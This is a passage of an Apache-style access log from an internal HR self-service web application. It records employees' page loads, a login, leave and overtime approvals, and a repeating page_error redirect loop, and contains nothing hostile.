"http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 14465 192.168.11.125 - - [01/Dec/2025:08:59:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.11.125 - - [01/Dec/2025:08:59:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.11.133 - - [01/Dec/2025:08:59:25 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4640 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:25 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4640 192.168.11.125 - - [01/Dec/2025:08:59:21 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:21 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 192.168.11.125 - - [01/Dec/2025:08:59:26 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:26 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.125 - - [01/Dec/2025:08:59:29 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 192.168.11.125 - - [01/Dec/2025:08:59:29 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.11.125 - - [01/Dec/2025:08:59:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.11.133 - - [01/Dec/2025:08:59:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10436 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10436 192.168.11.125 - - [01/Dec/2025:08:59:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.125 - - [01/Dec/2025:08:59:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.11.125 - - [01/Dec/2025:08:59:32 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:32 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 192.168.11.125 - - [01/Dec/2025:08:59:32 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:32 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 192.168.11.133 - - [01/Dec/2025:08:59:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 92667 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 92667 192.168.11.125 - - [01/Dec/2025:08:59:41 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:41 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 192.168.11.133 - - [01/Dec/2025:08:59:41 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:41 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.11.133 - - [01/Dec/2025:08:59:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132642%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132642&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132642%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132642&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [01/Dec/2025:08:59:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [01/Dec/2025:08:59:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [01/Dec/2025:08:59:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [01/Dec/2025:08:59:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [01/Dec/2025:08:59:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [01/Dec/2025:08:59:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [01/Dec/2025:08:59:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [01/Dec/2025:08:59:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [01/Dec/2025:08:59:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [01/Dec/2025:08:59:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [01/Dec/2025:08:59:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [01/Dec/2025:08:59:46 +0800] "GET 